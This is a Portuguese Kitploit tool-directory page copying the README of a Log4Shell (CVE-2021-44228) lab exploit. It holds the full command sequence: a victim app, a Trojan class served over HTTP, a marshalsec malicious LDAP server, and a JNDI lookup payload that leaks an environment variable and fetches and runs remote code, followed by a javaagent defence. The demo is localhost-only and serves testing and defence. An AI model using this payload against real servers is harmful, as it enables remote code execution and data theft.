Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
log4shell-test-exploit — Exploit de teste do CVE-2021-44228 | Kitploit
Ferramentas/GitHubGitHub/wajda/log4shell-test-exploit
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebAprendizado e EducaçãoDesenvolvimento de PayloadsLabs e Prática
GitHubwajda/log4shell-test-exploit

log4shell-test-exploit

Exploit de teste do CVE-2021-44228

Ver Repositório
14há 4 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Teste de exploração do CVE-2021-44228 (log4shell)

Preparação

# Install Nodejs HTTP server 
npm -g i http-server

# Build victim app
cd victim-app
mvn install

# Compile Trojan
cd test-trojan
javac Trojan.java

# Build marshalsec (required Java 8)
git clone [email protected]:mbechler/marshalsec.git
cd marshalsec
mvn clean package -DskipTests

# Build log4j-jndi-be-gone
git clone [email protected]:wajda/log4j-jndi-be-gone.git
cd log4j-jndi-be-gone
git checkout shading-support
./gradlew

Inicie o servidor HTTP que hospeda um payload Trojan

cd test-trojan
http-server .

Inicie um servidor LDAP malicioso

Veja https://github.com/mbechler/marshalsec

cd marshalsec
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8080/#Trojan"

Observe os eventos de exploração (opcional)

útil em casos em que o stderr está oculto

watch -d -n 1 'ls -la /tmp/ | grep -i log4shell-BUSTED'

Exploração

Explicação

O aplicativo vítima registra a seguinte string por meio de uma biblioteca log4j2 vulnerável (versão 2.14.1)

log.error("${jndi:ldap://127.0.0.1:1389/a/${env:USER}}");

executando dois vetores de ataque simultaneamente:

  1. Captura de variáveis de ambiente ($USER neste exemplo), que podem ser visualizadas na saída do servidor LDAP marshalsec
Send LDAP reference result for a/<VICTIM_USER_NAME> redirecting to http://127.0.0.1:8080/Trojan.class
  1. Baixar e executar código malicioso que registra a mensagem !!! BUSTED !!! no fluxo de erro padrão do aplicativo da vítima, bem como cria um arquivo vazio /tmp/log4shell-BUSTED-*.
    Para que este ataque funcione, a seguinte opção de JVM deve estar habilitada no servidor vítima:
-Dcom.sun.jndi.ldap.object.trustURLCodebase=true
Execução
cd victim-app

# ... in a console app
java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -jar fatjar/target/log4j2-victim-app-1.0-SNAPSHOT.jar

# ... in a web app (on Tomcat)
cp web/target/log4j2-victim-webapp-1.0-SNAPSHOT.war $TOMCAT_HOME/webapps
curl http://localhost:$TOMCAT_HTTP_PORT/log4j2-victim-webapp-1.0-SNAPSHOT/

Defesa

Veja: https://github.com/wajda/log4j-jndi-be-gone/tree/shading-support

java -javaagent:log4j-jndi-be-gone-1.0.0-wajda-standalone.jar=classSigDetection=enabled -jar fatjar/target/log4j2-victim-app-1.0-SNAPSHOT.jar

Defesa em todo o sistema

Substitua todos os binários java pelo script abaixo:

java.guarded

#!/bin/bash
$(dirname "$0")/java.original "-javaagent:/path/to/log4j-jndi-be-gone-1.0.0-wajda-standalone.jar=logDir=/tmp,classSigDetection=enabled" "$@"

Exemplo:

 cd $(dirname $(which java))
 sudo su
 mv java java.original
 cp java.guarded java
Baixar ferramenta